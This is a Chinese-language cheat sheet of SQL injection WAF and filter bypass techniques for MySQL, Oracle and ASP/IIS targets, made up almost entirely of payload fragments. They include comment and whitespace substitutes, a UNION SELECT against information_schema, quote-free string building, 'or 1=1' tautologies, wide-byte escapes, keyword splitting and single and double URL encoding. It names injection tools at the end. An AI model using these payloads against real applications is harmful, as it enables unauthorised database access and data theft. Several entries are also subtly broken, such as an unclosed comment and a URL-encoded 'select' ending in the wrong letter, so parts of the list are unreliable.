Bypass方式的汇总
一些数据库特性
注释
- #
- – -
- –+
- //
- /**/
- /*letmetest*/
- ;%00
空格
- MySQL中可以替代空格的字符:
- /**/
- ()
- +
- %20
- %09
- %0a
- 0x0a
- 0x0b
- 0x0c
- 0x0d
- +
- -
- ~
- .
MySQL特性
MySQL中=为等于,只有在update中是赋值
:=
//赋值@ //加变量名可以直接调用
内联注释: /*!50001*/表示数据库版本>=5.00.01时中间的语句才能被执行
Bypass
参数污染绕过
- id=33/id=-33 union select 1,2,3,4,xxxxxx from information_schema xxxx%23\/
使用动态字符串拼接或十六进制,可以避免使用单引号
'
- select ename,sal from emp where ename = ‘marcus’
- Oracle: select ename,sal from emp where ename=chr(109)||chr(97)||chr(114)||chr(99)||chr(117)||chr(115)
- MySQL: select ename,sal from emp where ename=char(109)||char(97)||char(114)||char(99)||char(117)||char(115)
- select ename,sal from emp where ename=0x6d6172637573
- select ename,sal from emp where ename = ‘marcus’
设计好注入的数据,可以避开使用注释号
--
- ‘or 1=1–
- ‘or ‘a’=’a
- ‘or 1=1–
通过注释绕开空格
- select/*foo/username,password/*foo/from/*foo/users
- MySQL中,注释可以插入到关键字中
- sel/*foo/ect username,password fr/*foo/om users
- 空格:%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格
绕过等号
- like和等号执行效果一致
- 使用<>绕过
- <>等价于!=,所以在<>前加个!就是等于,比如 where !(id<>2)
- rlike
- regexp
宽字节注入绕过转义符
- GBK和BIG5适用
- %df’
等价字符以及等价函数
- and=&&
- or=||
- xor=^
- not =!
- hex()、bin()=ascii()
- concat_ws=group_concat()
- sleep()=benchmark()
- mid()=、substr()=substring()
- @@user=user()
- @@datadir=datadir()
关键字拆分
- se’+’le’+’ct’
- %S%E%L%E%C%T 1 //ASP环境
- u/**/nio/**/n/**se/**/lect
mysql中不必要使用分号,只要语法正确,解释器就会正确执行
select
- SeLeCt(大小写)
- %00select(增加空字节)
- selsecectect(双写)
- %53%45%4c%45%43%53(url编码)
- %2553%2545%254c%2545%2543%2553(多次url编码)
Hex编码、URL编码、宽字节、Unicode编码(IIS)支持
- union
- un%u0069on
- union
三、利用过滤逻辑缺陷
- 白盒审计
总结
pangolin windows上的sql注入集成工具
HexorBase